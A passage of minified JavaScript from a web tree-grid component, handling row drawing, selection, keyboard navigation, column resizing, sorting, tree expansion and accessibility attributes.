o=this._getAriaLabelForRow(t);t.row.setAttribute("aria-label",o);this._activeAriaId=n}this._active&&this.checkUpdateActive(t)}else this._updateAriaOnViewportUpdate=!0}}_getAriaLabelForRow(e){for(var t="",n=e.dataIndex,o=this._columns,r=0,i=o.length;r<i;r++){var a=o[r];if(!a.hidden){var s=a.text+", "+this.getColumnText(n,a,r);t&&(t+=", ");t+=s}}return t}_updateSelectionStyles(){var e=()=>{var e,t=this._selectedRows,n=this._selectedIndex,o=this._rows;for(e in o){var r=o[e];this._updateRowSelectionStyle(r,t,n)}};if(this._options.allowMultiSelect){this._delayedUpdateSelectionCookie&&window.clearImmediate(this._delayedUpdateSelectionCookie);this._delayedUpdateSelectionCookie=window.setImmediate(()=>{this._delayedUpdateSelectionCookie=0;e()})}else e()}_updateRowSelectionStyle(e,t,n){var o=e.rowIndex,r=e.row,i=e.gutterRow;r.classList.remove(this._options.rowSelectedClass);r.classList.remove(this._options.rowSelectedBlurClass);r.classList.remove(this._options.rowCurrentClass);r.setAttribute("aria-selected","false");this.updateUnselectedRowStyle(e);if(i){i.classList.remove("grid-gutter-row-selected");i.classList.remove("grid-gutter-row-selected-blur");i.classList.remove("grid-gutter-row-current");i.querySelector("input.checkbox").setAttribute("checked",String(!1))}if(t&&t.hasOwnProperty(o)){i&&i.querySelector("input.checkbox").setAttribute("checked",String(!0));if(this._active){r.classList.add(this._options.rowSelectedClass);this.updateSelectedRowStyle(e);i&&i.classList.add("grid-gutter-row-selected")}else{r.classList.add(this._options.rowSelectedBlurClass);i&&i.classList.add("grid-gutter-row-selected-blur")}r.setAttribute("aria-selected","true")}if(o===n){r.classList.add(this._options.rowCurrentClass);i&&i.classList.add("grid-gutter-row-current")}}focus(e){if(this._options.focusable){var t=this._focus,n=()=>{try{t.focus()}catch(e){}};void 0===e?n():window.setTimeout(()=>{n()},e)}}_onContainerMouseDown(e){e.target.classList.contains("grid-edit-box")||this._options.focusable&&this.focus(10)}_onContainerResize(e){this.layout()}_applyColumnSizing(e,t,n){var o=this._getVisibleColumnIndex(e)+1,r=this._columns[e],i=!1;t=t||-1;if(r){i=r.width!==t;this.rootElement.querySelector(".grid-header-canvas ."+this._options.headerColumnElementClass+":nth-child("+o+")").style.width=r.width+"px"}if(!0===n){i&&this.layout();this._onColumnResize(r)}}_trySorting(e,t){t||(t=this._getSortColumns(e));var n=[],o=0;for(var r in this._selectedRows){var i=this._selectedRows[r],a=this._dataSource[i];if(a){n.push(a);o+=parseInt(r)}}var l=new c(null,null);h.addItemsToTree(this._dataSource,this._expandStates,0,this._dataSource.length,l);this._sortOrder&&1===this._sortOrder.length&&1===e.length&&this._sortOrder[0]!==e[0]&&this._sortOrder[0].index===e[0].index?this._sortOrder[0].order!==e[0].order&&h.walkTree(l,n=>{s.stableReverse(n.children,(n,o)=>s.sortComparer(e,t,n.data,o.data))}):h.walkTree(l,n=>{n.children.sort((n,o)=>s.sortComparer(e,t,n.data,o.data))});this._dataSource=[];this._expandStates=[];for(var u=0;u<l.children.length;u++)h.walkTree(l.children[u],e=>{this._dataSource.push(e.data);this._expandStates.push(e.expandState)});this._indentLevels=h.expand(this._expandStates);this._updateRanges();if(this._selectionCount>0){this._clearSelection();var d=0;for(u=0;u<n.length;u++){if((i=this._dataSource.indexOf(n[u]))>=0){var p=this._getRowIndex(i);this._addSelection(p,i);d+=p}}this._scrollTop+=(d-o)/this._selectionCount*this._measurements.rowHeight}}findClosestElement(e,t){for(var n=this._element.parentNode,o=e;o&&o!==n;){if(o.msMatchesSelector(t))return o;o=o.parentNode}return o}fireCustomEvent(e,t,n){var o=document.createEvent("Event");o.initEvent(t,!0,!0);o.customData=n;e.dispatchEvent(o)}createElementWithClass(e,t){var n=document.createElement(e);t&&(n.className=t);return n}_attachEvents(){window.addEventListener("resize",e=>this._onContainerResize(e));this._element.addEventListener("mousedown",e=>this._onContainerMouseDown(e));this._element.addEventListener("keydown",e=>this._onKeyDown(e));Object(a.b)().addEventListener("themechanged",e=>this._onThemeChanged(e));if(this._options.focusable){this._focus.addEventListener("focus",e=>this._onFocus(e));this._focus.addEventListener("blur",e=>this._onBlur(e))}this._canvas.addEventListener("mousedown",e=>this._onRowMouseDown(e));this._canvas.addEventListener("dblclick",e=>this._onEditCell(e));this._canvas.addEventListener("scroll",e=>this._onCanvasScroll(e));this._canvas.addEventListener("selectstart",function(){return!1});if(this._header){this._header.addEventListener("mousedown",e=>this._onHeaderMouseDown(e));this._header.addEventListener("mouseup",e=>this._onHeaderMouseUp(e));this._header.addEventListener("click",e=>this._onHeaderClick(e));this._header.addEventListener("dblclick",e=>this._onHeaderDblClick(e))}if(this._gutter){this._gutter.addEventListener("click",e=>this._onGutterClick(e));this._gutter.addEventListener("mouseover",e=>{var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.add("grid-gutter-row-hover")});this._gutter.addEventListener("mouseout",e=>{var t=this.findClosestElement(e.target,".grid-gutter-row");t&&t.classList.remove("grid-gutter-row-hover")})}}_getDataIndex(e){var t,n,o,r=-1,i=this._visibleRange;if(e<0)return-1;for(t=0,n=i.length;t<n;t++)if(e<=(r+=(o=i[t]).end-o.start+1))return o.end-r+e;return e}_getRowIndex(e){var t,n,o,r=0,i=this._visibleRange;for(t=0,n=i.length;t<n&&e>=(o=i[t]).start;t++){if(e<=o.end)return r+e-o.start;r+=o.end-o.start+1}return-Math.max(0,r-1)}_updateViewport(e){var t=this._count,n=[],o=[],i=[],a=this._expandStates||[],s=this.getExpandedCount()-1,l=this._getVisibleRowIndices(),c=l.first,u=l.last;c=Math.max(0,c-this._options.extendViewportBy);u=Math.min(s,u+this._options.extendViewportBy);for(var d=Math.max(0,c-this._options.payloadSize),h=Math.min(s,u+this._options.payloadSize),p=this._getDataIndex(d),m=d;m<=h&&p<t;m++){m<c?n[n.length]=new r.e(m,p):m>u?o[o.length]=new r.e(m,p):i[i.length]=new r.e(m,p);var g=a[p];g<0?p+=1-g:p++}this.cacheRows(n,i,o);this._drawRows(i,e);if(this._updateAriaOnViewportUpdate){this._updateAriaOnViewportUpdate=!1;this._updateAriaAttribute()}}_drawRows(e,t){var n,o,r=this._expandStates,i=0,a=0,s=this._gutter,l=this._canvas,c=document.createDocumentFragment(),u=null;if(s){n=this._gutter;u=document.createDocumentFragment()}var d=this._rows,h={};this._rows=h;for(var p=e.length,m=0;m<p;m++){var g=e[m],f=g.rowIndex,_=g.dataIndex,v=d[_];if(v){if(o=v.rowIndex!==f)v.rowIndex=f;else{o=v.isDirty;delete v.isDirty}t&&(o=!0);delete d[_]}else{o=!0;var b=this.createElementWithClass("div",this._options.rowClass);b.setAttribute("role","row");b.classList.add(this._options.rowNormalClass);b.id="row_"+this._getId()+"_"+_;b.addEventListener("mouseover",e=>{var t=e.target,n=e.relatedTarget;if(!t||!n||n.parentElement!==t&&t.parentElement!==n){var o=this.getRowInfoFromEvent(e,"."+this._options.rowClass);o&&this.updateMouseOverRowStyle(o)}},!1);b.addEventListener("mouseout",e=>{var t=e.target,n=e.relatedTarget;if(!t||!n||n.parentElement!==t&&t.parentElement!==n){var o=this.getRowInfoFromEvent(e,"."+this._options.rowClass);o&&this.updateMouseOutRowStyle(o)}},!1);c.appendChild(b);var C={rowIndex:f,dataIndex:_,row:b};if(s){var y=this.createElementWithClass("div","grid-gutter-row grid-gutter-row-normal");u.appendChild(y);y.id="gtr_"+b.id;this._rowInfoMap[y.id]=C;C.gutterRow=y}this._rowInfoMap[b.id]=C;v=C}h[_]=v;if(o){if(r){i=this._getExpandState(_);a=this.indentLevel(_)}this._updateRow(v,f,_,i,a)}if(b){b.onfocus=(e=>this._onRowElementFocus(e));b.onblur=(e=>this._onRowElementBlur(e))}}for(var E in d){v=d[E];if(s){delete this._rowInfoMap[v.gutterRow.id];v.gutterRow.parentElement.removeChild(v.gutterRow)}delete this._rowInfoMap[v.row.id];this._cleanUpCells(v);v.row.parentElement.removeChild(v.row)}l.appendChild(c);this._updateDynamicRowsStyle(e);s&&n.appendChild(u)}getColumnPixelIndent(e){return e*h.INDENT_PER_LEVEL}addTreeIconWithIndent(e,t,n,o){var r=this.getColumnPixelIndent(n)-13;o.indentOffset=r;if(0!==t){var i=this.createElementWithClass("div","icon grid-tree-icon");i.style.left=r+"px";e.appendChild(i);t>0?i.classList.add("icon-tree-expanded"):i.classList.add("icon-tree-collapsed");i.addEventListener("mouseover",e=>{this.onTreeIconMouseOver(e)});i.addEventListener("mouseout",e=>{this.onTreeIconMouseOut(e)})}e.style.textIndent=this.getColumnPixelIndent(n)+"px"}_drawCell(e,t,n,o,r,i,a){var s,l=r.width||20,c=this.createElementWithClass("div",this._options.cellClass);c.style.width=isNaN(l)?String(l):l+"px";c.setAttribute("role","gridcell");c.setAttribute("aria-describedby","header_id_"+r.index);void 0!==r.hrefIndex&&(s=this.getColumnValue(t,r.hrefIndex,-1));var u=this.getColumnText(t,r,a);r.hasHTMLContent||h._setTooltip(c,u,65,r.maxTooltipLineLength);if(s){var d=document.createElement("a");d.setAttribute("href",s);d.innerText=u;c.appendChild(d)}else u?r.hasHTMLContent?c.innerHTML=u:c.innerText=u:c.innerHTML="&nbsp;";a===i&&o>0&&this.addTreeIconWithIndent(c,n,o,r);if(r.getCellCSSClass){var p=r.getCellCSSClass(t,r.index,a,this._dataSource);if(p)for(var m=p.trim().split(" "),g=0;g<m.length;g++)c.classList.add(m[g])}r.rowCss&&c.classList.add(r.rowCss);return c}_onRowMouseDown(e){var t=this.getRowInfoFromEvent(e,"."+this._options.rowClass);if(t){var n=e.target;1===e.which&&n.classList.contains("grid-tree-icon")?this._onToggle(t):this._selectRow(t.rowIndex,t.dataIndex,{ctrl:e.ctrlKey,shift:e.shiftKey,rightClick:3===e.which})}}_onBlur(e){if(e){if(e.target.classList.contains("grid-edit-box")){e.stopPropagation();return}}this._active=!1;this._updateSelectionStyles()}_onFocus(e){if(e.target.classList.contains("grid-edit-box"))e.stopEventPropagation();else{this._active=!0;this._updateSelectionStyles();this._updateAriaAttribute()}}_onCanvasFocus(e){}_onRowElementFocus(e){return this._onFocus(e)}_onRowElementBlur(e){return this._onBlur(e)}_onKeyDown(e){var t={lo:-1,hi:-1},n=this._canvas;if(this._copyInProgress){27===e.keyCode&&this._cancelable&&this._cancelable.cancel();return!1}this._count>0&&(t={lo:0,hi:this.getExpandedCount()-1});this._selectedIndex<0&&this._addSelection(t.lo);switch(e.keyCode){case 65:if(!e.ctrlKey)return!0;this._selectAll();break;case 67:e.ctrlKey&&this.onCtrlC();break;case 123:e.altKey||e.ctrlKey||e.shiftKey||this.onF12();break;case 71:e.ctrlKey&&this.onCtrlG();break;case 40:this._clearSelection();e.ctrlKey?e.shiftKey?this._addSelectionRange(t.hi):this._addSelection(t.hi):e.shiftKey?this._addSelectionRange(Math.min(this._selectedIndex+1,t.hi)):this._addSelection(Math.min(this._selectedIndex+1,t.hi));break;case 38:this._clearSelection();e.ctrlKey?e.shiftKey?this._addSelectionRange(t.lo):this._addSelection(t.lo):e.shiftKey?this._addSelectionRange(Math.max(this._selectedIndex-1,t.lo)):this._addSelection(Math.max(this._selectedIndex-1,t.lo));break;case 34:case 33:var o=n.clientHeight,r=Math.floor(o/this._measurements.rowHeight);this._clearSelection();34===e.keyCode?e.shiftKey?this._addSelectionRange(Math.min(this._selectedIndex+r,t.hi)):this._addSelection(Math.min(this._selectedIndex+r,t.hi)):e.shiftKey?this._addSelectionRange(Math.max(this._selectedIndex-r,t.lo)):this._addSelection(Math.max(this._selectedIndex-r,t.lo));break;case 39:this._clearSelection();if(this.tryToggle(!0,e.shiftKey)){this._addSelection(this._selectedIndex);this.layout()}else e.shiftKey?this._addSelectionRange(Math.min(this._selectedIndex+1,t.hi)):this._addSelection(Math.min(this._selectedIndex+1,t.hi));break;case 37:this._clearSelection();if(this.tryToggle(!1,e.shiftKey)){this._addSelection(this._selectedIndex);this.layout()}else e.shiftKey?this._addSelectionRange(Math.max(this._selectedIndex-1,t.lo)):this._addSelection(Math.max(this._selectedIndex-1,t.lo));break;case 36:this._clearSelection();e.shiftKey?this._addSelectionRange(t.lo):this._addSelection(t.lo);break;case 35:this._clearSelection();e.shiftKey?this._addSelectionRange(t.hi):this._addSelection(t.hi);break;case 9:e.shiftKey&&this.rootElement.focus();this.getSelectedRowIntoView();return!0}this.getSelectedRowIntoView();e.preventDefault();return!1}_onThemeChanged(e){var t=this._textFontPx;this._updateThemeAttributes();if(this._textFontPx!==t&&0!==this._textFontPx&&0!==t){this._measurements.rowHeight=this._measurements.rowHeight*this._textFontPx/t;this._measurements.textLineHeight=this._measurements.textLineHeight*this._textFontPx/t;this.redraw()}}_onToggle(e){if(this._expandStates){var t=this._getExpandState(e.dataIndex);if(0!==t){t>0?this.collapseNode(e.dataIndex):t<0&&this.expandNode(e.dataIndex);this._clearSelection();this._addSelection(Math.min(e.rowIndex,this.getExpandedCount()-1),e.dataIndex);this._layoutContentSpacer();this._redraw()}}}_onExpandedCollapsed(e,t){this.fireCustomEvent(this._element,h.EVENT_ROW_EXPANDED_COLLAPSED,[{isExpanded:e,dataIndex:t}])}indentLevel(e){return this._indentLevels[e]}setVisibleRange(e){this._visibleRange=e}static addItemsToTree(e,t,n,o,r){for(var i=Math.min(n+o,e.length),a=n;a<i;a++){var s=new c(e[a],t[a]),l=Math.abs(s.expandState);if(l>0){h.addItemsToTree(e,t,a+1,l,s);a+=l}r.children.push(s)}}static walkTree(e,t){if(t){t(e);var n=0,o=e.children;if(o&&(n=o.length))for(var r=0;r<n;r++){var i=o[r];h.walkTree(i,t)}}}static makeElementUnselectable(e){e.setAttribute("unselectable","on");for(var t=e.querySelectorAll("*"),n=0;n<t.length;n++){var o=t[n];switch(o.tagName){case"IFRAME":case"TEXTAREA":case"INPUT":case"SELECT":break;default:o.setAttribute("unselectable","on")}}}static toDecimalLocaleString(e,t,n){var o,r,a,s=function(e,t,n){for(var o=e.length;o<t;o++)e=n?"0"+e:e+"0";return e},l=e.toString(),c="";r=n?n.numberFormat:i.a.NumberFormat;l=(a=l.split(/e/i))[0];o=a.length>1?parseInt(a[1],10):0;l=(a=l.split("."))[0];c=a.length>1?a[1]:"";if(o>0){l+=(c=s(c,o,!1)).slice(0,o);c=c.substr(o)}else if(o<0){c=(l=s(l,(o=-o)+1,!0)).slice(-o,l.length)+c;l=l.slice(0,-o)}c.length>0&&(c=r.NumberDecimalSeparator+c);if(!0===t){for(var u=r.NumberGroupSizes,d=r.NumberGroupSeparator,h=u[0],p=1,m=l.length-1,g="";m>=0;){if(0===h||h>m)return g.length>0?l.slice(0,m+1)+d+g+c:l.slice(0,m+1)+c;g=g.length>0?l.slice(m-h+1,m+1)+d+g:l.slice(m-h+1,m+1);m-=h;if(p<u.length){h=u[p];p++}}return l.slice(0,m+1)+d+g+c}return l+c}static convertValueToDisplayString(e,t){return null!=e?"string"==typeof e?e:e instanceof Date?e.toLocaleString(i.a.Language,t):"number"==typeof e?t?e.toLocaleString(i.a.Language,t):h.toDecimalLocaleString(e):"boolean"==typeof e?e?"True":"False":e.toString():""}static _textSplit(e,t){var n="\r\n";if(e.indexOf(n)>=0)return e;if(e.length<=t)return e;var o=e.lastIndexOf(" ",t);if(-1!==o)e=e.substring(0,o)+n+e.substring(o+1);else{o=t;e=e.substring(0,o)+n+e.substring(o)}var r=o+n.length;return e.substring(0,r)+this._textSplit(e.substring(r),t)}static _approximateTextWidth(e,t){var n=1.1+.7*Math.exp(-e/20);return Math.round(e*n*t)}initialize(){this._element=document.createElement("div");this._element.className=this._options.coreCssClass;this._element.style.height=this._options.height;this._element.setAttribute("role","treegrid");this._options.allowMultiSelect&&this._element.setAttribute("aria-multiselectable","true");this._options.ariaLabel&&this._element.setAttribute("aria-label",this._options.ariaLabel);this.rootElement.appendChild(this._element);this._buildDom();this._contentSize=new r.f(300,400);this._takeMeasurements();this._getChildDataCallback=this._options.childDataCallback||null;this._editCellCallback=this._options.editCellCallback||null;this._options.asyncInit?window.setTimeout(()=>{this._attachEvents()},10):this._attachEvents();this.initializeDataSource()}_cleanUpCells(e){if(this._options.cellCleanUpCallback){var t=e.row;if(t&&t.hasChildNodes())for(var n=t.children,o=0;o<n.length;o++)this._options.cellCleanUpCallback(n.item(o))}}_getId(){return h.TYPE_NAME}_enhance(e){this._buildDom()}_buildDom(){var e=document.createDocumentFragment(),t=this._options.gutter,n=t&&(t.icon||t.checkbox);this._canvas=document.createElement("div");this._canvas.className=this._options.canvasClass;this._contentSpacer=document.createElement("div");this._contentSpacer.className="grid-content-spacer";this._canvas.appendChild(this._contentSpacer);if(this._options.header){this._element.classList.add("has-header");this._header=document.createElement("div");this._header.className=this._options.headerElementClass;this._header.setAttribute("role","row");this._headerCanvas=document.createElement("div");this._headerCanvas.className="grid-header-canvas";this._header.appendChild(this._headerCanvas);e.appendChild(this._header)}if(this._options.focusable){this._focus=document.createElement("div");this._focus.className="grid-focus";this._focus.setAttribute("tabIndex","0");e.appendChild(this._focus)}if(n){this._element.classList.add("has-gutter");this._gutter=document.createElement("div");this._gutter.className="grid-gutter";this._canvas.appendChild(this._gutter);if(this._header){this._gutterHeader=document.createElement("div");this._gutterHeader.className="grid-gutter-header";this._header.appendChild(this._gutterHeader)}}e.appendChild(this._canvas);this._element.appendChild(e)}_mergeExpandStates(e,t,n){var o=n.length-1;t.splice(e+1,1);for(var r=0;r<=o;r++)t.splice(e+r+1,0,n[r]);var i=0;for(r=e;r>=0;r--){var a=t[r];if(Math.abs(a)>i){t[r]=a<0?a-o:a+o;i=0}else i++}}_takeMeasurements(){var e=this._options.coreCssClass;this._options.cssClass&&(e+=" "+this._options.cssClass);var t=this.createElementWithClass("div",e);t.style.position="absolute";t.style.left="-5000px";t.style.top="-5000px";t.style.width="1000px";t.style.height="500px";document.body.appendChild(t);var n=this.createElementWithClass("div",this._options.rowClass);n.classList.add(this._options.rowNormalClass);t.appendChild(n);var o=this.createElementWithClass("div",this._options.cellClass);o.style.width="100px";o.innerText="1";n.appendChild(o);this._measurements.rowHeight=n.offsetHeight;this._measurements.cellOffset=o.offsetWidth-100;o.innerText="1\n1";this._measurements.textLineHeight=n.offsetHeight-this._measurements.rowHeight;var r=this.createElementWithClass("div");r.style.overflow="hidden";r.style.width="1em";r.style.height="1ex";o.appendChild(r);this._measurements.unitEx=r.offsetHeight;var i=this.createElementWithClass("div","grid-gutter");i.appendChild(this.createElementWithClass("div","grid-gutter-row grid-gutter-row-selected"));t.appendChild(i);this._gutter?this._measurements.gutterWidth=i.clientWidth:this._measurements.gutterWidth=0;t.style.overflow="scroll";this._measurements.scrollbarWidth=t.offsetWidth-t.clientWidth;document.body.removeChild(t)}_initializeDataSourceComplete(){this.getExpandedCount()>0?this._options.keepSelection&&this._selectedIndex>=0?this._selectRow(Math.min(this._selectedIndex,this.getExpandedCount()-1)):this._selectRow(!1!==this._options.initialSelection?0:-1):this.setSelectedRowIndex(-1)}_layoutAfterSetDataSource(e){this.layout();this._ensureSelectedIndex(e)}_adjustForDynamicData(e,t,n){this._dataSource.splice(n+1,1);for(var o=0;o<e.length;o++)this._dataSource.splice(n+o+1,0,e[o]);this._mergeExpandStates(n,this._expandStates,t);var r=this._dataSource.length;this._count=r;this._expandStates?this._indentLevels=h.expand(this._expandStates):this._indentLevels=null;this._expandedCount=r;this._updateRanges();this._determineIndentIndex();this.layout()}_ensureSelectedIndex(e){var t=this._selectedIndex;"number"==typeof e&&(this._selectedIndex=e);if(this._selectedIndex>=0){this._count<=this._selectedIndex&&(this._selectedIndex=this._count-1);this._selectedIndex!==t&&this._addSelection(this._selectedIndex)}}_determineIndentIndex(){var e,t,n=this._columns;for(e=0,t=n.length;e<t;e++)if(n[e].indent){this._indentIndex=e;return}this._indentIndex=0}_updateExpansionStateAndRedraw(e){var t,n=this._selectedIndex;n>=0&&(t=this._getDataIndex(n));e();if(n>=0){this._clearSelection();this._addSelection(Math.abs(this._getRowIndex(t)))}this._layoutContentSpacer();this._redraw()}_getVisibleRowIndices(){var e=this._scrollTop,t=e+this._canvasHeight;return this.calculateVisibleRowIndices(e,t)}_getRowIntoView(e,t){if(t){var n=Math.max(0,Math.min(e||0,this.getExpandedCount()-1));this._canvas.scrollTop=this.getRowTop(n);return!0}var o=this._getVisibleRowIndices(),r=o.first,i=o.last,a=i-r;if(e<r||e>i){r=this._selectedIndex>r?Math.max(e-a,0):Math.max(0,Math.min(e+a,this.getExpandedCount()-1)-a);this._canvas.scrollTop=this.getRowTop(r);return!0}return!1}_getRowIntoViewCenter(e){var t=this.getRowTop(e);t-=this._canvasHeight/2;var n=this._canvas.scrollHeight-this._canvasHeight;t>n&&(t=n);var o=0;t<o&&(t=o);if(this._canvas.scrollTop!=t){this._canvas.scrollTop=t;return!0}return!1}_cleanUpRows(){var e,t=this._rows,n=this._gutter;for(e in t){var o=t[e];if(o.row.parentElement){this._cleanUpCells(o);o.row.parentElement.removeChild(o.row);delete this._rowInfoMap[o.row.id]}if(n&&o.gutterRow.parentElement){o.gutterRow.parentElement.removeChild(o.gutterRow);delete this._rowInfoMap[o.gutterRow.id]}}this._rows={}}_updateDynamicRowsStyle(e){for(var t=0;t<e.length;t++){var n=this._rows[e[t].dataIndex];if(n){for(var o=n.row.children,r=0;r<o.length;r++){var i=this._columns[r];if(!i||!i.alwaysEnableTooltip){var a=o[r];a.scrollWidth>a.offsetWidth||a.removeAttribute("data-plugin-vs-tooltip")}}this.checkUpdateActive(n)}}}_updateRow(e,t,n,o,r){var i=this._indentIndex;if(this._gutter){var a=this._options.gutter,s=e.gutterRow.firstElementChild;s.style.top=this.getRowTop(t)+"px";s.style.left="0px";s.style.width=this._measurements.gutterWidth+"px";s.style.height=this._measurements.rowHeight+"px";if(a.checkbox){var l=this.createElementWithClass("input","checkbox "+(a.checkbox.cssClass||""));l.setAttribute("type","checkbox");var c=this.createElementWithClass("div","grid-gutter-cell grid-gutter-checkbox");c.appendChild(l[0]);s.appendChild(c)}if(a.icon){var u="grid-gutter-cell grid-gutter-icon ";void 0!==a.icon.cssClass&&(u+=a.icon.cssClass+" ");void 0!==a.icon.index&&(u+=(this.getColumnValue(n,a.icon.index,-1)||"")+" ");!1!==a.icon.ownerDraw&&(u+=this._getGutterIconClass(t,n,o,r)||"");var d=this.createElementWithClass("div",u);s.appendChild(d)}this._drawGutterCell(e,t,n,o,r)}this._cleanUpCells(e);var p=e.row;p.innerHTML="";p.style.top=this.getRowTop(t)+"px";p.style.left=this._measurements.gutterWidth+"px";p.style.height=this._measurements.rowHeight+"px";!1===this._options.overflowColumn?p.style.width=isNaN(this._contentSize.width)?"":this._contentSize.width+2+"px":p.style.minWidth=isNaN(this._contentSize.width)?"":this._contentSize.width+2+"px";for(var m=this._columns,g=0,f=m.length;g<f;g++){var _=m[g];if(!_.hidden){var v=_.getCellContents(e,n,o,r,_,i,g);v&&p.appendChild(v)}}h.makeElementUnselectable(p);this._gutter&&h.makeElementUnselectable(s);this._updateRowSelectionStyle(e,this._selectedRows,this._selectedIndex);0!==o&&p.setAttribute("aria-expanded",o>0?"true":"false")}_getGutterIconClass(e,t,n,o){return""}_drawGutterCell(e,t,n,o,r){}_drawHeader(){var e=this._columns,t=this._sortOrder;if(this._header){for(var n=document.createDocumentFragment(),o=0,r=e.length;o<r;o++){var i=e[o];if(!i.hidden){var a=this.createElementWithClass("div",this._options.headerColumnElementClass);a.setAttribute("tabindex","0");a.setAttribute("aria-label",i.text);a.setAttribute("role","columnheader");a.setAttribute("id","header_id_"+i.index);a.addEventListener("keydown",e=>this._onHeaderKeydown(e));h._setTooltip(a,i.tooltip,65,i.maxTooltipLineLength);a.style.width=(i.width||20)+"px";a._data={columnIndex:o,header:!0};var s=this.createElementWithClass("div","separator");i.fixed&&(s.style.cursor="auto");s._data={columnIndex:o,separator:!0};a.appendChild(s);var l=i.getHeaderCellContents(i,o);i.headerCss&&l.classList.add(i.headerCss);i.tooltip&&h._setTooltip(l,i.tooltip,65,i.maxTooltipLineLength);a.appendChild(l);var c=this.createElementWithClass("div","sort-handle");t.forEach((e,t,n)=>{if(e.index===i.index){"asc"===e.order?c.innerHTML=h.ASCENDING_ARROW:"desc"===e.order&&(c.innerHTML=h.DESCENDING_ARROW);c.setAttribute("aria-label","");c.setAttribute("role","img");return!1}});a.appendChild(c);n.appendChild(a)}}this._headerCanvas.innerHTML="";this._headerCanvas.appendChild(n);h.makeElementUnselectable(this._header)}}_drawHeaderCellValue(e,t){var n=document.createElement("div");n.classList.add("title");e.hasHTMLContent?n.innerHTML=e.text||"&nbsp;":n.innerText=e.text||"";t===this._indentIndex&&void 0!==this._indentLevels&&null!==this._indentLevels&&n.classList.add("indented-title");return n}_layoutContentSpacer(){for(var e=0,t=this._columns,n=0,o=t.length;n<o;n++)t[n].hidden||(e+=(t[n].width||20)+this._measurements.cellOffset);e+=2;var r=Math.max(1,this.getTotalDataHeight());this._contentSpacer.style.width=e+"px";this._contentSpacer.style.height=r+"px";this._gutter&&(this._gutter.style.height=r+"px");this._ignoreScroll=!0;try{var i=Math.max(0,Math.min(this._scrollTop,r-this._canvasHeight));if(i!==this._scrollTop){this._scrollTop=i;this._canvas.scrollTop=i}var a=Math.max(0,Math.min(this._scrollLeft,e-this._canvasWidth));if(a!==this._scrollLeft){this._scrollLeft=a;this._canvas.scrollLeft=a}}finally{this._ignoreScroll=!1}this._contentSize.width=e;this._contentSize.height=r}_layoutHeader(){this._header&&(this._headerCanvas.style.left=this._measurements.gutterWidth-this._scrollLeft+"px");this._gutter&&(this._gutter.style.left=this._scrollLeft+"px")}_fixScrollPos(){var e=this._ignoreScroll;this._ignoreScroll=!0;try{this._canvas.scrollLeft=this._scrollLeft;this._canvas.scrollTop=this._scrollTop}finally{this._ignoreScroll=e}}_redraw(e){this._layoutHeader();this._updateViewport(e)}_selectRow(e,t,n){var o=n&&n.ctrl,r=n&&n.shift,i=n&&n.rightClick;if(o)this._addSelection(e,t,{toggle:!0});else if(r){this._clearSelection();this._addSelectionRange(e,t)}else if(i)if(this._selectedRows&&this._selectedRows.hasOwnProperty(e)){this._selectedIndex=e;this._updateAriaAttribute()}else{this._clearSelection();this._addSelection(e,t)}else{this._clearSelection();this._addSelection(e,t)}}_selectAll(){for(var e=0,t=0,n=this._dataSource.length;t<n;++t){var o=this._dataSource[t];o&&!o.isPlaceholder&&++e}if(--e>=0&&!1!==this._options.allowMultiSelect){this._clearSelection();this._selectionStart=0;var r=Math.max(0,this._selectedIndex);this._addSelectionRange(e,void 0,{doNotFireEvent:!0});this._selectedIndex=r;this._updateSelectionStyles();this._selectionChanged()}}_addSelectionRange(e,t,n){var o,r=n&&n.doNotFireEvent,i=-1;if(!1===this._options.allowMultiSelect)this._addSelection(e,t);else{this._selectedRows&&(i=this._selectedRows[this._selectedIndex]);this._selectionStart<0&&(this._selectionStart=e);var a=Math.min(this._selectionStart,e),s=Math.max(this._selectionStart,e);"number"==typeof t&&a===e||(t=this._getDataIndex(a));for(var l=a;l<=s;l++){this._addSelection(l,t,{keepSelectionStart:!0,doNotFireEvent:!0});l===e&&(o=t);if("number"==typeof t){var c=this._getExpandState(t);t+=c<0?1-c:1}}this._selectedIndex=e;this._updateAriaAttribute();if(!r){this._updateSelectionStyles();this._selectionChanged();i!==o&&this._selectedIndexChanged(this._selectedIndex,o)}}}_selectionChanged(){this.selectionChanged(this._selectedIndex,this._selectionCount,this._selectedRows);this.fireCustomEvent(this._element,"selectionchanged",[{selectedIndex:this._selectedIndex,selectedCount:this._selectionCount,selectedRows:this._selectedRows}])}_selectedIndexChanged(e,t){this.selectedIndexChanged(e,t);this.fireCustomEvent(this._element,h.EVENT_SELECTED_INDEX_CHANGED,[e,t])}_measureCanvasSize(){this._canvasHeight=this._canvas.clientHeight;this._canvasWidth=this._canvas.clientWidth}_setupMoveEvents(){document.addEventListener("mousemove",e=>this._onDocumentMouseMove(e));document.addEventListener("mouseup",e=>this._onDocumentMouseUp(e))}_clearMoveEvents(){document.removeEventListener("mousemove",null,!0);document.removeEventListener("mouseup",null,!0)}_onDocumentMouseMove(e){var t=this._columnSizing;if(t&&!0===t.active){var n=e.pageX-t.origin,o=Math.max(15,t.originalWidth+n);this._columns[t.index].width=o;this._applyColumnSizing(t.index);this._moveSizingElement(t.index)}}_onDocumentMouseUp(e){window.setTimeout(()=>{this._tryFinishColumnSizing(!1)},0);return!1}_onHeaderMouseDown(e){if(1!==e.which)return!0;var t=this.findClosestElement(e.target,".separator");if(t&&t._data){var n=t._data.columnIndex,o=this._columns[n];if(!o.fixed){this._columnSizing=new r.b(!0,n,o.width,e.pageX);this._moveSizingElement(n);this._setupMoveEvents();e.stopImmediatePropagation();e.preventDefault();return!1}}}_onHeaderMouseUp(e){return!1}_onHeaderClick(e){var t=this.findClosestElement(e.target,"."+this._options.headerColumnElementClass);if(t&&!this._columnSizing){var n=this.findClosestElement(e.target,".separator");if(n&&n._data)return!1;if(t._data){var o=t._data.columnIndex,r=this._columns[o];r.canSortBy&&!r.fixed&&this._sortBy(r,e.shiftKey)}}}_onHeaderDblClick(e){var t=this.findClosestElement(e.target,".separator");if(t&&t._data){this._tryFinishColumnSizing(!0);for(var n=t._data.columnIndex,o=this._columns[n],r=3,i=h._approximateTextWidth(r,this._measurements.unitEx),a=this.getExpandedCount(),s=0;s<a;s++){var l=0,c=this._getDataIndex(s);o.indent&&(l+=this.getColumnPixelIndent(this._indentLevels[c]));var u=this.getColumnText(c,o,-1).length;if(o.indent||!(u<=r)){l+=h._approximateTextWidth(u,this._measurements.unitEx);i=Math.max(i,l)}}var 